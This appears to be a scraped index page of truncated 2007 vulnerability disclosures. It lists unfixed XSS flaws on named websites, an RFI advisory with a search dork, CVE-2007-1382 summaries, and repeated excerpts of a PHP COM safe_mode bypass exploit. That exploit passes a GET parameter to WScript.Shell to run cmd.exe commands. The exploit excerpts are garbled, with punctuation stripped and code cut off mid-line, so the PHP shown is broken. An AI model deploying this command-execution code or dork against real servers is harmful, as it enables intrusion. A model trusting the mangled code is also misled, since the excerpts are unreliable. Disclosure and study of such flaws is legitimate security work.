Unfixed XSS vulnerability at netindia123.com

Security researcher cyber, has submitted on 31/03/2007 a cross-site-scripting XSS vulnerability affecting netindia123.com, which at the time of submission ranked 1212275 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 31/03/2007. It is currentl...

Unfixed XSS vulnerability at rveducation101.com

Security researcher Cyber-Unity, has submitted on 21/03/2007 a cross-site-scripting XSS vulnerability affecting rveducation101.com, which at the time of submission ranked 1041828 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 22/03/2007. It is...

Unfixed XSS vulnerability at www.555-1212.com

Security researcher Narcoticxs, has submitted on 18/03/2007 a cross-site-scripting XSS vulnerability affecting www.555-1212.com, which at the time of submission ranked 183384 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 18/03/2007. It is...

Unfixed XSS vulnerability at www.srv9.com

Security researcher Vagrant, has submitted on 18/03/2007 a cross-site-scripting XSS vulnerability affecting www.srv9.com, which at the time of submission ranked 6368519 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 18/03/2007. It is currently...

Unfixed XSS vulnerability at www.spin1038.com

Security researcher Vagrant, has submitted on 18/03/2007 a cross-site-scripting XSS vulnerability affecting www.spin1038.com, which at the time of submission ranked 668105 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 18/03/2007. It is...

Unfixed XSS vulnerability at www.lyra12.com

Security researcher Vagrant, has submitted on 18/03/2007 a cross-site-scripting XSS vulnerability affecting www.lyra12.com, which at the time of submission ranked 0 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 18/03/2007. It is currently...

Unfixed XSS vulnerability at www.the-best10.com

Security researcher MaXWeL, has submitted on 17/03/2007 a cross-site-scripting XSS vulnerability affecting www.the-best10.com, which at the time of submission ranked 858331 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 17/03/2007. It is...

Unfixed XSS vulnerability at www.space321.com

Security researcher MaXWeL, has submitted on 17/03/2007 a cross-site-scripting XSS vulnerability affecting www.space321.com, which at the time of submission ranked 5445322 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 17/03/2007. It is...

Unfixed XSS vulnerability at www.vinoteka2000.com

Security researcher Narcoticxs, has submitted on 17/03/2007 a cross-site-scripting XSS vulnerability affecting www.vinoteka2000.com, which at the time of submission ranked 3447198 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 18/03/2007. It i...

softnews-rfi.txt

By Hasadya Raed Contact : [email protected] ------------------------------------ Script : SoftNews Media Group Dork : "Copyright © 2004,2006 SoftNews Media Group" Greetz : Only To Security Focus ------------------------------------ B.Files : init.php editnews.php ----------------------------------...

Unfixed XSS vulnerability at www.sportsanimal99.com

Security researcher MaXWeL, has submitted on 13/03/2007 a cross-site-scripting XSS vulnerability affecting www.sportsanimal99.com, which at the time of submission ranked 1975178 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 14/03/2007. It is...

CVE-2007-1382

The PHP COM extensions for PHP on Windows systems allow context-dependent attackers to execute arbitrary code via a WScript.Shell COM object, as demonstrated by using the Run method of this object to execute cmd.exe, which bypasses PHP's safe mode...

PHP COM extension safe_mode protection bypass

WScript.Shell COM object allows execution of any commands...

CVE-2007-1382

The CVE-2007-1382 entry concerns the PHP COM extensions for PHP on Windows. The vulnerability arises when a context-dependent attacker uses a WScript.Shell COM object’s Run method to execute cmd.exe, bypassing PHP’s Safe Mode and enabling arbitrary code execution. The affected component is the PH...

Unfixed XSS vulnerability at www.mobile88.com

Security researcher By Encore, has submitted on 03/09/2007 a cross-site-scripting XSS vulnerability affecting www.mobile88.com, which at the time of submission ranked 12405 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 08/09/2007. It is...

PHP COM extensions (inconsistent Win32) safe_mode Bypass Exploit

No description provided by source. ?php //PHP COM extensions inconsistent Win32 safemode bypass //by rgod $suntzu = new COM"WScript.Shell"; $suntzu-Run'c:windowssystem32cmd.exe /c '.escapeshellarg$GETcmd.' '.dirname$SERVERSCRIPTFILENAME.'/suntzoi.txt';...

Unfixed XSS vulnerability at www.arsiv1.com

Security researcher St@rExT, has submitted on 03/08/2007 a cross-site-scripting XSS vulnerability affecting www.arsiv1.com, which at the time of submission ranked 1785925 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 07/08/2007. It is current...

PHP COM Extensions - inconsistent Win32 safe_mode Bypass

PHP COM Extensions - inconsistent Win32 safemode Bypass Run'c:\windows\system32\cmd.exe /c '.escapeshellarg$GETcmd.' '.dirname$SERVERSCRIPTFILENAME.'/suntzoi.txt'; $suntzoi=file"suntzoi.txt"; for $i=0; $i milw0rm.com 2007-03-07...

PHP COM extensions (inconsistent Win32) safe_mode Bypass Exploit

Exploit for unknown platform in category local exploits ================================================================ PHP COM extensions inconsistent Win32 safemode Bypass Exploit ================================================================ Run'c:\windows\system32\cmd.exe /c...

PHP 'COM' Extensions - inconsistent Win32 'safe_mode' Bypass

Run'c:\windows\system32\cmd.exe /c '.escapeshellarg$GETcmd.' '.dirname$SERVERSCRIPTFILENAME.'/suntzoi.txt'; $suntzoi=file"suntzoi.txt"; for $i=0; $i milw0rm.com 2007-03-07...